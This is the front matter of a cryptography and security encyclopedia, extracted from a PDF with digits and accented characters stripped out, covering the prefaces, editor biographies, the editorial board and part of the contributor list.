Anne Canteaut Prof. Auth., Henk PDF

Encyclopedia of Cryptography and Security
Henk C.A. van Tilborg Sushil Jajodia (Eds.)
Encyclopedia of Cryptography
and Security
With Figures and Tables

With Cross-references
123
Editors
Henk C.A. van Tilborg Sushil Jajodia
Department of Mathematics and Computing Science Center for Secure Information Systems
Eindhoven University of Technology George Mason University
MB Eindhoven Fairfax, VA -
The Netherlands USA
ISBN ---- e-ISBN ----

DOI ./----
ISBN Bundle: ----
Springer New York Dordrecht Heidelberg London
Library of Congress Control Number:
Springer Science+Business Media, LLC ,
All rights reserved. This work may not be translated or copied in whole or in part without the written permission of the publisher (Springer
Science+Business Media, LLC, Spring Street, New York, NY , USA), except for brief excerpts in connection with reviews or scholarly
analysis. Use in connection with any form of information storage and retrieval, electronic adaptation, computer software, or by similar or
dissimilar methodology now known or hereafter developed is forbidden.
The use in this publication of trade names, trademarks, service marks, and similar terms, even if they are not identified as such, is not to be
taken as an expression of opinion as to whether or not they are subject to proprietary rights.
Printed on acid-free paper
Springer is part of Springer Science+Business Media (www.springer.com)

Preface to the Second Edition
A rich stream of papers and many good books have been written on cryptography and computer security, but most of
them assume a scholared reader who has the time to start at the beginning and work his way through the entire text.
The goal of Encyclopedia of Cryptography and Security, Second Edition is to make important notions of cryptography and
computer security accessible to readers who have an interest in a particular keyword related to cryptology or computer
security, but who lack the time to study one of the many books in these areas.
The second edition is intended as a replacement of Encyclopedia of Cryptography and Security that was edited by one
of us (Henk van Tilborg) and published by Springer in . The current edition provides a comprehensive reference to
topics in the broad field of cryptology and computer security; compared to the first edition the reader can find
new entries.
This Encyclopedia improves on the earlier edition in several important and interesting ways. First, entries in the first
edition have been updated when needed. Second, it provides a broader coverage to the field, and the new entries are
mostly in the area of Information and System Security. Third, computer technology has evolved drastically in the short
timespan of just five years. We have tried to make an effort to be comprehensive and include coverage of several newer
topics. Fourth, the Encyclopedia is available not only as a printed volume but as an online reference work as well. The
online edition is available at http://www.springerlink.com.
The title includes a list of entries and of authors. The online edition is an XML e-Reference searchable version that
allows cross-references. The online edition will also allow us to make regular updates as new trends and terms arise.
Henk C.A. van Tilborg, Sushil Jajodia

Eindhoven and Fairfax
August
Preface to the First Edition
The need to protect valuable information is as old as history. As far back as Roman times, Julius Caesar saw the need
to encrypt messages by means of cryptographic tools. Even before then, people tried to hide their messages by making
them invisible. These hiding techniques, in an interesting twist of history, have resurfaced quite recently in the context
of digital rights management. To control access or usage of digital contents like audio, video, or software, information is
secretly embedded in the data!
Cryptology has developed over the centuries from an art, in which only few were skillful, into a science. Many people
regard the Communication Theory and Secrecy Systems paper, by Claude Shannon in , as the foundation of modern
cryptology. However, at that time, cryptographic research was mostly restricted to government agencies and the military.
That situation gradually changed with the expanding telecommunication industry. Communication systems that were
completely controlled by computers demanded new techniques to protect the information flowing through the network.
In , the paper New Directions in Cryptography, by Whitfield Diffie and Martin Hellman, caused a shock in the
academic community. This seminal paper showed that people who are communicating with each other over an insecure
line can do so in a secure way with no need for a common secret key. In Shannons world of secret key cryptography
this was impossible, but in fact there was another cryptologic world of public-key cryptography, which turned out to
have exciting applications in the real world. The paper and the subsequent paper on the RSA cryptosystem in
also showed something else: mathematicians and computer scientists had found an extremely interesting new area of
research, which was fueled by the ever-increasing social and scientific need for the tools that they were developing. From
the notion of public-key cryptography, information security was born as a new discipline and it now affects almost every
aspect of life.
As a consequence, information security, and even cryptology, is no longer the exclusive domain of research labo-
ratories and the academic community. It first moved to specialized consultancy firms, and from there on to the many
places in the world that deal with sensitive or valuable data; for example the financial world, the health care sector, public
institutions, nongovernmental agencies, human rights groups, and the entertainment industry.
A rich stream of papers and many good books have been written on information security, but most of them assume
a scholared reader who has the time to start at the beginning and work his way through the entire text. The time has
come to make important notions of cryptography accessible to readers who have an interest in a particular keyword
related to computer security or cryptology, but who lack the time to study one of the many books on computer and
information security or cryptology. At the end of , the idea to write an easily accessible encyclopedia on cryptography
and information security was proposed. The goal was to make it possible to become familiar with a particular notion, but
with minimal effort. Now, years later, the project is finished, thanks to the help of many contributors, people who are all
very busy in their professional life. On behalf of the Advisory Board, I would like to thank each of those contributors for
their work. I would also like to acknowledge the feedback and help given by Mihir Bellare, Ran Canetti, Oded Goldreich,
Bill Heelan, Carl Pomerance, and Samuel S. Wagstaff, Jr. A person who was truly instrumental for the success of this
project is Jennifer Evans at Springer Verlag. Her ideas and constant support are greatly appreciated. Great help has been
given locally by Anita Klooster and Wil Kortsmit. Thank you very much, all of you.
Henk C.A. van Tilborg

Acknowledgments
We would like to acknowledge several individuals who made this Encyclopedia possible. First and foremost, we would
like to extend our sincerest thanks to the members of the editorial board and all the contributors for their hard work.
Thanks are due to our publisher, Jennifer Evans, Editorial Director for Computer Sciences at Springer, for her enthusiasm
and support for this project. We are grateful to Tina Shelton, our development editor at Springer, and her staff including
Meetu Lall who assisted us with every aspect of preparing this Encyclopedia, from organizing the editorial workflow to
dealing with editors and authors and various format-related issues in preparation of the final manuscript. Thank you very
much, all of you.
Henk C.A. van Tilborg, Sushil Jajodia

Editors Eindhoven and Fairfax
May
Editors
Henk C.A. van Tilborg

Department of Mathematics and Computing Science
Eindhoven University of Technology
Eindhoven
The Netherlands
H.C.A.v.Tilborg@tue.nl
Henk C.A. van Tilborg is the Scientific Director of the research school EIDMA (Euler Institute for Discrete Mathematics
and its Applications) and the Eindhoven Institute for the Protection of Systems and Information EIPSI. He is a board
member of WIC (Werkgemeenschap voor Informatie en Communicatietheorie).
Dr. van Tilborg received his M.Sc. () and Ph.D. degree () from the Eindhoven University of Technology, the
Netherlands. He was working as associate professor at the university, before he became a full professor in . During
he also served a part-time professorship at the Dutch Open University. He has also been a visiting professor at
California Institute of Technology, the University of Pretoria and Macquarie University and visiting scientist at the IBM
Almaden Research Center and Bell Laboratories.
He has been involved in the organization of many international conferences. He was the program committee co-chair
of ISIT- (IEEE International Symposium on Information Theory), Germany. He was Program Committee Member of
WCC, WCC, WCC, WCC, and WCC (Workshop on Coding theory and Cryptography). He has
been the advisor of about Ph.D. and M.Sc. students in the area of coding theory and cryptography.
Dr. van Tilborg has written three books, two on cryptology and one on coding theory. He is the (co-)author of more
than articles in leading journals and also holds two patents. He is the Associate editor of Designs, Codes and Cryp-
tography and Journal of Combinatorics, Information & System Sciences. From April December he was the
Associate editor for the Journal of the Indonesian Mathematical Society. He is also the Advisory editor of Advances in
Mathematics of Communications since January and editor of the Asian-European Journal of Mathematics.
Webpage: http://www.win.tue.nl/~henkvt/
xii Editors
Sushil Jajodia
Center for Secure Information Systems
George Mason University
Fairfax, VA
USA
jajodia@gmu.edu
Sushil Jajodia is University Professor, BDM International Professor, and the director of Center for Secure Information
Systems in the Volgenau School of Engineering at the George Mason University, Fairfax, Virginia. He served as the chair
of the Department of Information and Software Engineering during . He joined Mason after serving as the
director of the Database and Expert Systems Program within the Division of Information, Robotics, and Intelligent Sys-
tems at the National Science Foundation. Before that he was the head of the Database and Distributed Systems Section
in the Computer Science and Systems Branch at the Naval Research Laboratory, Washington and Associate Professor of
Computer Science and Director of Graduate Studies at the University of Missouri, Columbia. He has also been a visiting
professor at the University of Milan, Italy; Sapienz University of Rome, Italy; Isaac Newton Institute for Mathematical
Sciences, Cambridge University, England; and Kings College,London, England.
Dr. Jajodia received his PhD from the University of Oregon, Eugene. The scope of his current research interests encom-
passes information secrecy, privacy, integrity, and availability problems in military, civil, and commercial sectors. He has
authored six books, edited thirty seven books and conference proceedings, and published more than technical papers
in the refereed journals and conference proceedings. He is also a holder of eight patents and has several patent applications
pending. He received the IFIP TC Kristian Beckman award, Volgenau School of Engineering Outstanding
Research Faculty Award and ACM SIGSAC Outstanding Contributions Award, and IFIP WG . Outstand-
ing Research Contributions Award. He was recognized for the most accepted papers at the th anniversary of the IEEE
Symposium on Security and Privacy. His h-index is and Erdos number is .
Dr. Jajodia has served in different capacities for various journals and conferences. He serves on the editorial boards
of IET Information Security, International Journal of Information and Computer Security, and International Journal
of Information Security and Privacy. He was the founding editor-in-chief of the Journal of Computer Security (
) and a past editor of ACM Transactions on Information and Systems Security () and IEEE Transactions
on Knowledge and Data Engineering. He is the consulting editor of the Springer International Series on Advances in
Information Security. He has been named a Golden Core member for his service to the IEEE Computer Society, and
received International Federation for Information Processing (IFIP) Silver Core Award in recognition of outstanding
services to IFIP in . He is a past chair of the ACM Special Interest Group on Security, Audit, and Control (SIGSAC),
IEEE Computer Society Technical Committee on Data Engineering, and IFIP WG . on Systems Integrity and Control.
He is a senior member of the IEEE and a member of IEEE Computer Society and Association for Computing Machinery.
Webpage: http://csis.gmu.edu/faculty/jajodia.html
Editorial Board
Carlisle Adams Ernesto Damiani

School of Information Technology and Engineering Dipartimento di Tecnologie dellInformazione (DTI)
(SITE) Universit degli Studi di Milano
University of Ottawa Crema (CR)
Ottawa Italy
Ontario ernesto.damiani@unimi.it
Canada
cadams@site.uottawa.ca
Sabrina De Capitani di Vimercati
DTI-Dipartimento di Tecnologie dellInformazione
Friedrich L. Bauer
Universit degli Studi di Milano
Kottgeisering
Crema
Germany
Italy
b@cs.tum.edu
sabrina.decapitani@unimi.it
Gerrit Bleumer
Research and Development Marijke De Soete
Francotyp Group SecurityBiz
Birkenwerder bei Berlin Oostkamp
Germany Belgium
g.bleumer@francotyp.com marijke.desoete@pandora.be
Dan Boneh Yvo Desmedt

Department of Computer Science Department of Computer Science
Stanford Univeristy University College London
Stanford, CA London
USA United Kingdom
dabo@cs.stanford.edu y.desmedt@cs.ucl.ac.uk
Pascale Charpin
Somesh Jha
INRIA
Department of Computer Science
Rocquencourt
Le Chesnay Cedex University of Wisconsin
Madison, WI
France
USA
pascale.charpin@inria.fr
jha@cs.wisc.edu
Claude Crpeau
School of Computer Science Gregory Kabatiansky
McGill University Dobrushin Mathematical Lab
Montreal Institute for Information Transmission Problems RAS
Quebec Moscow
Canada Russia
crepeau@cs.mcgill.ca kaba@iitp.ru
xiv Editorial Board
Angelos Keromytis Christof Paar

Department of Computer Science Horst Gortz Institute for IT Security, Chair for Embedded
Columbia University Security
New York, NY Ruhr-Universitatet Bochum
USA Bochum
angelos@cs.columbia.edu Germany
Christof.Paar@rub.de
Tanja Lange
Coding Theory and Cryptology, Eindhoven Institute for
the Protection of Systems and Information, Department Stefano Paraboschi
of Mathematics and Computer Science Dipartimento di Ingegneria dellInformazione e Metodi
Technische Universiteit Eindhoven Matematici
Eindhoven Universit degli Studi di Bergamo
The Netherlands Dalmine, BG
tanja@hyperelliptic.org Italy
parabosc@unibg.it
Catherine Meadows
U.S. Naval Research Laboratory Vincenzo Piuri
Washington, DC Dipartimento di Tecnologie dellInformazione
USA Universita degli Studi di Milano
meadows@itd.nrl.navy.mil, Crema (CR)
catherine.meadows@nrl.navy.mil Italy
vincenzo.piuri@unimi.it
Alfred Menezes
Department of Combinatorics and Optimization
University of Waterloo Bart Preneel
Waterloo Department of Electrical Engineering-ESAT/COSIC
Ontario Katholieke Universiteit Leuven and IBBT
Canada Leuven-Heverlee
ajmeneze@uwaterloo.ca Belgium
bart.preneel@esat.kuleuven.be
David Naccache
Dpartement dinformatique, Groupe de cryptographie
Jean-Jacques Quisquater
cole normale suprieure
Microelectronics Laboratory
Paris
Universit catholique de Louvain
France
Louvain-la-Neuve
david.naccache@ens.fr
Belgium
Sukumaran Nair Jean-Jacques.Quisquater@uclouvain.be
Department of Computer Science and Engineering
Bobby B. Lyle School of Engineering Kazue Sako
Southern Methodist University NEC
Dallas Kawasaki
USA Japan
nair@lyle.smu.edu k-sako@ab.jp.nec.com
Peng Ning
Department of Computer Science Pierangela Samarati
North Carolina State University Dipartimento di Tecnologie dellInformazione
Raleigh, NC Universit degli Studi di Milano
USA Crema
pning@gmail.edu Italy
pning@ncsu.edu pierangela.samarati@unimi.it
Editorial Board xv
Berry Schoenmakers Patrick Traynor

Technische Universiteit Eindhoven School of Computer Science
Eindhoven Georgia Institute of Technology
The Netherlands Atlanta, GA
berry@win.tue.nl USA
traynor@cc.gatech.edu
Sean W. Smith
Department of Computer Science Sencun Zhu
Dartmouth College Department of Computer Science and Engineering
Hanover, NH Pennsylvania State University
USA University Park, PA
sws@cs.dartmouth.edu USA
szhu@cse.psu.ed
Angelos Stavrou
Computer Science Department
School Information Technology and Engineering
George Mason University
Fairfax, VA
USA
astavrou@gmu.edu
List of Contributors
SAEED ABU-NIMEH JIM ALVES-FOSS

Damballa Inc. Department of Computer Science
Atlanta, GA University of Idaho
USA Moscow, ID
USA
NABIL ADAM
Department of Management Science and Information CLAUDIO A. ARDAGNA
Systems, CIMIC Dipartimento di Tecnologie dellInformazione (DTI)
Rutgers, The State University of New Jersey Universit degli Studi di Milano
Newark, NJ Crema (CR)
USA Italy
ROBERTO AVANZI
CARLISLE ADAMS Ruhr-Universitt Bochum
School of Information Technology and Engineering Bochum
(SITE) Germany
University of Ottawa
Ottawa, Ontario
Canada
GILDAS AVOINE
Louvain-la-Neuve
Belgium
MALEK ADJOUADI
Department of Electrical and Computer Engineering
Florida International University
Miami ALI BAGHERZANDI
Florida Donald Bren School of Computer Science
University of California
Irvine, CA
USA
CHARU C. AGGARWAL
IBM T. J. Watson Research Center
Hawthorne, NY
SUMAN BANERJEE
USA
Department of Computer Sciences
University of Wisconsin at Madison
Madison, WI
VIJAY ALTURI USA
Management Science and Information Systems
Department
Center for Information Management, Integration and ALEXANDER BARG
Connectivity Department of Electrical and Computer Engineering
Rutgers University University of Maryland
Newark, NJ College Park, MD
USA USA
xviii List of Contributors
PAULO S. L. M. BARRETO BIR BHANU

Department of Computer and Digital Systems Center for Research in Intelligent Systems
Engineering (PCS) University of California
Escola Politcnica Riverside, CA
University of So Paulo (USP) USA
So Paulo
Brazil
KAIGUI BIAN
FRIEDRICH L. BAUER Virginia Tech
Kottgeisering Blacksburg, VA
Germany USA
HOMAYOON BEIGI FRDRIQUE BIENNIER

Research LIESP
Recognition Technologies, Inc. INSA de Lyon
Yorktown Heights, NY Villeurbanne
USA France
DAVID ELLIOTT BELL ELI BIHAM

Reston Department of Computer Science
VA Technion Israel Institute of Technology
USA Haifa
Israel
STEVEN M. BELLOVIN
Department of Computer Science ALEX BIRYUKOV
FDEF, Campus Limpertsberg
Columbia University
University of Luxembourg
New York, NY
Luxembourg
USA
JOACHIM BISKUP
OLIVIER BENOT Fakultt fr Informatik
Ingenico Technische Universitt Dortmund
Rgion de Saint-tienne Dortmund
France Germany
DANIEL J. BERNSTEIN SOMA BISWAS

Department of Computer Science Department of Electrical and Computer Engineering
University of Illinois at Chicago Center for Automation Research
Chicago, Illinois University of Maryland
USA College Park, MD
USA
CLAUDIO BETTINI
Dipartimento di Informatica e Comunicazione (DICo) J. BLACK
Universit degli Studi di Milano Department of Computer Science
Milano Boulder, CO
Italy USA
List of Contributors xix
G. R. BLAKLEY GILLES BRASSARD

Department of Mathematics Department IRO
Texas A&M University Universit de Montral
TX Montreal, Quebec
USA Canada
GERRIT BLEUMER VLADIMIR BRIK

Research and Development Department of Computer Sciences
Francotyp Group University of Wisconsin at Madison
Birkenwerder bei Berlin Madison, WI
Germany USA
CARLO BLUNDO
Dipartimento di Informatica ed Applicazioni GERALD BROSE
HYPE Softwaretechnik GmbH
Universit di Salerno
Bonn
Fisciano (SA)
Germany
Italy
PIERO A. BONATTI DAVID BRUMLEY

Dipartimento di Scienze Fisiche Electrical and Computer Engineering Department
Universit di Napoli Federico II Department of Computer Science
Napoli Carnegie Mellon University
Italy Pittsburgh, PA
USA
DAN BONEH
Department of Computer Science MARCO BUCCI
Stanford Univeristy Fondazione Ugo Bardoni
Stanford, CA Roma
USA Italy
ANTOON BOSSELAERS
MIKE BURMESTER
Department of Electrical Engineering
Katholieke Universiteit Leuven
Florida State University
Leuven-Heverlee
Tallahassee, FL
Belgium
USA
LUC BOUGANIM
INRIA Rocquencourt LAURENT BUSSARD
Le Chesnay European Microsoft Innovation Center
France Aachen
Germany
BRIAN M. BOWEN
Department of Computer Science CHRISTIAN CACHIN
Columbia University IBM Research - Zurich
New York, NY Rschlikon
USA Switzerland
xx List of Contributors
TOM CADDY ANNE CANTEAUT

InfoGard Laboratories Project-Team SECRET
San Luis Obispo, CA INRIA Paris-Rocquencourt
USA Le Chesnay
France
JON CALLAS
PGP Corporation GUOHONG CAO
Menlo park, CA Mobile Computing and Networking (MCN) Lab
USA Department of Computer Science and Engineering
The Pennsylvania State University
University Park, PA
ALESSANDRO CAMPI USA
Dipartimento di Elettronica e Informazione
Politecnico di Milano
Milano SRDJAN CAPKUN
Italy System Security Group
ETH Zurich
PATRIZIO CAMPISI Zrich
Department of Applied Electronics Switzerland
Universit degli Studi Roma TRE
Rome
Italy CLAUDE CARLET
Dpartement de mathmatiques and LAGA
Universit Paris
RAN CANETTI Saint-Denis Cedex
The Blavatnik School of Computer Sciences France
Tel Aviv University
Ramat Aviv, Tel Aviv
Israel WILLIAM D. CASPER
High Assurance Computing and Networking Labs
(HACNet)
HAKKI C. CANKAYA Department of Computer Science and Engineering
Department of Computer Engineering Bobby B. Lyle School of Engineering
Izmir University of Economics Southern Methodist University
Izmir Houston, TX
Turkey USA
EBRU CELIKEL CANKAYA ANN CAVOUKIAN

Department of Computer Science and Engineering Information and Privacy Commissioners Oce of
University of North Texas Ontario
Denton, TX Toronto, ON
USA Canada
CHRISTOPHE DE CANNIRE DAVID CHALLENER

Department of Electrical Engineering Applied Physics Laboratory
Katholieke Universiteit Leuven Johns Hopkins University
Leuven-Heverlee Laurel, MD
Belgium USA
List of Contributors xxi
PASCALE CHARPIN STELVIO CIMATO

INRIA Department of Information Technologies
Rocquencourt Universit degli Studi di Milano
Le Chesnay Cedex Crema (CR)
France Italy
RAMA CHELLAPPA ANDREW CLARK

Center for Automation Research Information Security Institute
Department of Electrical and Computer Engineering Queensland University of Technology
University of Maryland Brisbane
College Park, MD Queensland
USA Australia
DANNY DE COCK
BEE-CHUNG CHEN Department of Electrical Engineering-ESAT/COSIC
Yahoo! Research
K.U. Leuven and IBBT
Mountain View, CA
Leuven-Heverlee
USA
Belgium
YU CHEN SCOTT CONTINI

Department of Electrical and Computer Engineering Silverbrook Research
Florida International University New South Wales
Miami Australia
Florida
DEBBIE COOK
CHEN-MOU CHENG Telcordia Applied Research
Department of Electrical Engineering Piscataway
National Taiwan University New Jersey
Taipei USA
Taiwan
SCOTT E. COULL
RedJack, LLC.
YOUNG B. CHOI
Department of Natural Science, Mathematics and Silver Spring, MD
Technology USA
School of Undergraduate Studies Regent University
Virginia Beach, VA
CLAUDE CRPEAU
USA
School of Computer Science
McGill University
Montreal, Quebec
HAMID CHOUKRI Canada
Gemalto Compagny
LORRIE FAITH CRANOR

MIHAI CHRISTODORESCU School of Computer Science
IBM T.J. Watson Research Center Carnegie Mellon University
Hawthorne, NY Pittsburg, PA
USA USA
xxii List of Contributors
ERIC CRONIN ERNESTO DAMIANI

CIS Department Dipartimento di Tecnologie dellInformazione (DTI)
University of Pennsylvania Universit degli Studi di Milano
Philadelphia, PA Crema (CR)
USA Italia
SCOTT CROSBY SABRINA DE CAPITANI DI VIMERCATI

Department of Computer Science Dipartimento di Tecnologie dellInformazione (DTI)
Rice University Universit degli Studi di Milano
Houston, TX Crema (CR)
USA Italy
MARIJKE DE SOETE
MARY J. CULNAN SecurityBiz
Information and Process Management Department
Oostkamp
Bentley University
Belgium
Waltham, MA
USA
ALEXANDER W. DENT
Information Security Group
FRDRIC CUPPENS Royal Holloway
LUSSI Department University of London
TELECOM Bretagne Egham, Surrey
Cesson Svign CEDEX UK
France
YVO DESMEDT
NORA CUPPENS-BOULAHIA Department of Computer Science
LUSSI Department University College London
TELECOM Bretagne London
Cesson Svign CEDEX UK
France
YEVGENIY DODIS
REZA CURTMOLA
Department of Computer Science New York University
New Jersey Institute of Technology (NJIT) New York
Newark, NJ USA
USA
JOSEP DOMINGO-FERRER
Department of Computer Engineering and
ITALO DACOSTA Mathematics
Department of Computer Sciences
Universitat Rovira i Virgili
Georgia Institute of Technology
Tarragona
Paris, Atlanta
Catalonia
USA
JING DONG
JOAN DAEMEN Department of Computer Science
STMicroelectronics Purdue University
Zaventem West Lafayette, IN
Belgium USA
List of Contributors xxiii
GLENN DURFEE SERGE FENET

San Francisco, CA LIRIS UMR
USA Universit Claude Bernard Lyon
Villeurbanne cedex
France
CYNTHIA DWORK
Microsoft Research, Silicon Valley
Mountain View, CA
USA DAVID FERRAIOLO
National Institute of Standards and Technology
Gaithersburg, MD
WESLEY EDDY USA
Verizon/NASA Glenn Research Center
Cleveland, Ohio
USA
MATTHIEU FINIASZ
ENSTA
France
THOMAS EISENBARTH
Department of Mathematical Sciences
Florida Atlantic University
CAROLINE FONTAINE
Lab-STICC/CID and Telecom Bretagne/ITI
CARL M. ELLISON CNRS/Lab-STICC/CID and Telecom Bretagne
New York, USA Brest Cedex
France
WILLIAM ENCK
The Pennsylvania State University SARA FORESTI
Dipartimento di Tecnologie dellInformazione (DTI)
University Park, PA
USA
Crema (CR)
Italy
PAUL ENGLAND
Microsoft Corporation
Redmond, WA
DARIO V. FORTE
USA Founder and CEO
DFLabs
Crema/CR
AARON ESTES Italy
Department of Computer Science and Engineering, and
Lyle School of Engineering University of Milano
Southern Methodist University Crema
Dallas, TX Italy
USA
MARTIN EVISON MATTHEW K. FRANKLIN

Forensic Science Program Computer Science Department
University of Toronto University of California
Mississauga, ON Davis, CA
Canada USA
xxiv List of Contributors
KEITH B. FRIKKEN JOHANNES GEHRKE

Department of Computer Science and Software Department of Computer Science
Engineering Cornell University
Miami University Ithaca, NY
Oxford, OH USA
USA
DAN GORDON
TIM E. GNEYSU IDA Center for Communications Research
Department of Electrical Engineering and Information
San Diego, CA
Technology
USA
Ruhr-University Bochum
Bochum
Germany
ELISA GORLA
Department of Mathematics
ERNST M. GABIDULIN University of Basel
Department of Radio Engineering Basel
Moscow Institute of Physics and Technology (State Switzerland
University)
Dolgoprudny, Moscow region
Russia LOUIS GOUBIN
Versailles St-Quentin-en-Yvelines University
France
ALBAN GABILLON
Laboratoire Gepasud
Universit de la Polynsie Franaise VENU GOVINDARAJU
Tahiti Center for Unied Biometrics and Sensors (CUBS)
French Polynesia University at Bualo (SUNY Bualo)
Amherst, NY
USA
PHILIPPE GABORIT
XLIM-DMI
University of Limoges
France TYRONE GRANDISON
Intelligent Information Systems
IBM Services Research
MARTIN GAGN Hawthorne, NY
Department of Computer Science USA
University of Calgary
Calgary
Canada MARCO GRUTESER
Wireless Information Network Laboratory
VINOD GANAPATHY Rutgers University
North Brunswick, NJ
Rutgers, The State University of New Jersey
USA
Piscataway, NJ
USA
GUOFEI GU
PIERRICK GAUDRY Department of Computer Science and Engineering
CNRS INRIA Nancy Universit Texas A&M University
Vandoeuvre-ls-Nancy College Station, TX
France USA
List of Contributors xxv
QIJUN GU TOR HELLESETH

Department of Computer Science The Selmer Center
Texas State University-San Marcos Department of Informatics
San Marcos, Texas University of Bergen
USA Bergen
Norway
JORGE GUAJARDO
Bosch Research and Technology Center North America NADIA HENINGER
Pittsburgh
Princeton University
USA
USA
YANLI GUO JEFF HOFFSTEIN

INRIA Rocquencourt Mathematics Department
Le Chesnay Brown University
France Providence, RI
USA
STUART HABER
HP Labs BIJIT HORE
Princeton Donald Bren School of Computer Science
New Jersey University of California
USA Irvine, CA
USA
HAKAN HACIGIMS DWIGHT HORNE

NEC Research Labs Department of Computer Science and Engineering
Cupertino, CA Southern Methodist University
USA Dallas, TX
USA
HELENA HANDSCHUH
Computer Security and Industrial Cryptography RUSS HOUSLEY
Research Group Vigil Security, LLC
Katholieke Universiteit Leuven Herndon, VA
Leuven - Heverlee USA
Belgium
JEAN-PIERRE HUBAUX
School of Computer and Communication Sciences
DARREL HANKERSON cole Polytechnique
Department of Mathematics Fdrale de Lausanne
Auburn University
Lausanne
Auburn, AL
Switzerland
USA
MICHAEL T. HUNTER
CLEMENS HEINRICH School of Computer Science
Francotyp-Postalia GmbH Georgia Institute of Technology
Birkenwerder Atlanta, GA
Germany USA
xxvi List of Contributors
MICHAEL HUTH GOCE JAKIMOSKI

Department of Computing Electrical and Computer Engineering
Imperial College London Stevens Institute of Technology
London Hoboken, NJ
UK USA
SANGWON HYUN MARTIN JOHNS

Department of Computer Science SAP Research CEC Karlsruhe
North Carolina State University SAP AG
Raleigh, NC D- Karlsruhe
USA Germany
HIDEKI IMAI ANTOINE JOUX

Chuo University Laboratoire Prism
Bunkyo-ku Universit de Versailles Saint-Quentin-en-Yvelines
Tokyo Versailles Cedex
Japan France
SEBASTIAAN INDESTEEGE MARC JOYE

Department of Electrical Engineering-ESAT/COSIC Technicolor Security & Content Protection Labs
Katholieke Universiteit Leuven and IBBT Cesson-Svign Cedex
Leuven-Heverlee France
Belgium
MIKE JUST
JOHN IOANNIDIS Glasgow Caledonian University
Google, Inc.
Glasgow, Scotland
New York, NY
UK
USA
ARUN IYENGAR STEFAN KPSELL

IBM Research Division Institute of Systems Architecture
Thomas J. Watson Research Center Department of Computer Science
Yorktown Heights, NY Technische Universitat
USA Dresden
Germany
COLLIN JACKSON
CyLab, Department of Electrical and Computer GREGORY KABATIANSKY
Engineering Dobrushin Mathematical Lab
Carnegie Mellon University Institute for Information Transmission Problems RAS
Moett Field, CA Moscow
USA Russia
TRENT JAEGER BURT KALISKI

Systems and Internet Infrastructure Security Lab Oce of the CTO
Pennsylvania State University EMC Corporation
University Park, PA Hopkinton, MA
USA USA
List of Contributors xxvii
BRENT BYUNG HOON KANG DANIEL KIFER

Department of Applied Information Technology and Department of Computer Science and Engineering
Centre for Secure Information Systems Penn State University
The Volgenau School of Engineering University Park, PA
George Mason University USA
Fairfax, VA
USA
JOHANNES KINDER
Formal Methods in Systems Engineering
Technische Universitt Darmstadt
VIVEK KANHANGAD
Biometrics Research Centre Darmstadt
Department of Computing Germany
The Hong Kong Polytechnic University
Hung Hom
Kowloon ENGIN KIRDA
Institut Eurecom
Hong Kong
Sophia Antipolis
France
TIMO KASPER
Horst Grst Institute for IT Security AMIT KLEIN
Ruhr University Bochum Trusteer
Tel Aviv
Israel
STEFAN KATZENBEISSER
Security Engineering Group
Technische Universitt Darmstadt LARS R. KNUDSEN
Darmstadt Department of Mathematics
Germany Technical University of Denmark
Lyngby
Denmark
ANGELOS D. KEROMYTIS
Columbia University
CETIN KAYA KO
College of Engineering and Natural Sciences
New York, NY
Istanbul Sehir University
USA
Uskudar
Istanbul
Turkey
GEORGE KESIDIS
Computer Science & Engineering and Electrical
Engineering Departments
FRANOIS KOEUNE
Pennsylvania State University Microelectronics Laboratory
University Park, PA Universit catholique de Louvain
USA Louvain-la-Neuve
Belgium
AGGELOS KIAYIAS
Department of Computer Science Engineering HUGO KRAWCZYK
University of Connecticut IBM T.J. Watson Research Center
Storrs, CT NY
USA USA
xxviii List of Contributors
ALEXANDER KRUPPA GREGOR LEANDER

Projet CACAO Department of Mathematics
LORIA Technical University of Denmark
Villers-ls-Nancy Cedex Lyngby
France Denmark
KRZYSZTOF KRYSZCZUK ADAM J. LEE

IBM Zurich Research Laboratory (DTI) Department of Computer Science
Lausanne University of Pittsburgh
Switzerland Pittsburgh, PA
USA
MARKUS KUHN
Computer Laboratory ELISABETH DE LEEUW
University of Cambridge Siemens IT Solutions and Services B.V.
Cambridge Zoetermeer
UK The Netherlands
KAORU KUROSAWA KRISTEN LEFEVRE

Department of Computer and Information Sciences Department of Electrical Engineering and Computer
Ibaraki University Science
Hitachi-shi University of Michigan
Japan Ann Arbor, MI
USA
RUGGERO DONIDA LABATI

Dipartimento di Tecnologie dellInformazione ARJEN K. LENSTRA
Universit degli Studi di Milano Laboratory for cryptologic algorithms - LACAL
Crema (CR) School of Computer and Communication Sciences
Italy cole Polytechnique Fdrale de Lausanne
Switzerland
PETER LANDROCK
Cryptomathic REYNALD LERCIER
UK Institut de recherche mathmatique de Rennes
Universit de Rennes
Rennes Cedex
JEAN-LOUIS LANET France
XLIM, Department of Mathematics and Computer
Science
University of Limoges PAUL LEYLAND
Limoges Brnikat Limited
France Little Shelford
Cambridge
UK
TANJA LANGE
Coding Theory and Cryptology
Eindhoven Institute for the Protection of Systems and STAN Z. LI
Information Center for Biometrics and Security Research
Department of Mathematics and Computer Science Institute of Automation
Technische Universiteit Eindhoven Chinese Academy of Sciences
Eindhoven Beijing
The Netherlands Public Republic of China
List of Contributors xxix
NINGHUI LI GIOVANNI LIVRAGA

Department of Computer Science Dipartimento di Tecnologie dellInformazione (DTI)
Purdue University Universit degli Studi di Milano
West Lafayette, Indiana Crema (CR)
USA Italy
MING LI STEVE LLOYD

Department of Electrical and Computer Engineering Sphyrna Security Incorporated
Worcester Polytechnic Institute Steve Lloyd Consulting Inc.
Worcester, MA Ottawa, ON
USA Canada
BENOT LIBERT MICHAEL E. LOCASTO

Microelectronics Laboratory Department of Computer Science
Universit catholique de Louvain George Mason University
Louvain-la-Neuve Fairfax, VA
Belgium USA
MYEONG L. LIM WENJING LOU

Department of Applied Information Technology and Wireless Networking and Security
Centre for Secure Information Systems Department of Electrical and Computer Engineering
The Volgenau School of Engineering Worcester Polytechnic Institute
George Mason University Worcester, MA
Fairfax, VA USA
USA
HAIBING LU
SHINYOUNG LIM Department of Management Science and Information
School of Health and Rehabilitation Services
Systems, CIMIC
University of Pittsburgh
Rutgers, The State University of New Jersey
Pittsburgh, PA
Newark, NJ
USA
USA
MOSES LISKOV
Department of Computer Science BODO MLLER
Google Switzerland GmbH
The College of William and Mary
Zurich
Williamsburg, VA
Switzerland
USA
DONGGANG LIU ASHWIN MACHANAVAJJHALA

Department of Computer Science and Engineering Yahoo! Research
The University of Texas at Arlington Santa Clara, CA
Arlington, Texas USA
USA
EMANUELE MAIORANA
ZONGYI LIU Department of Applied Electronics
Amazon.com Universit degli Studi Roma TRE
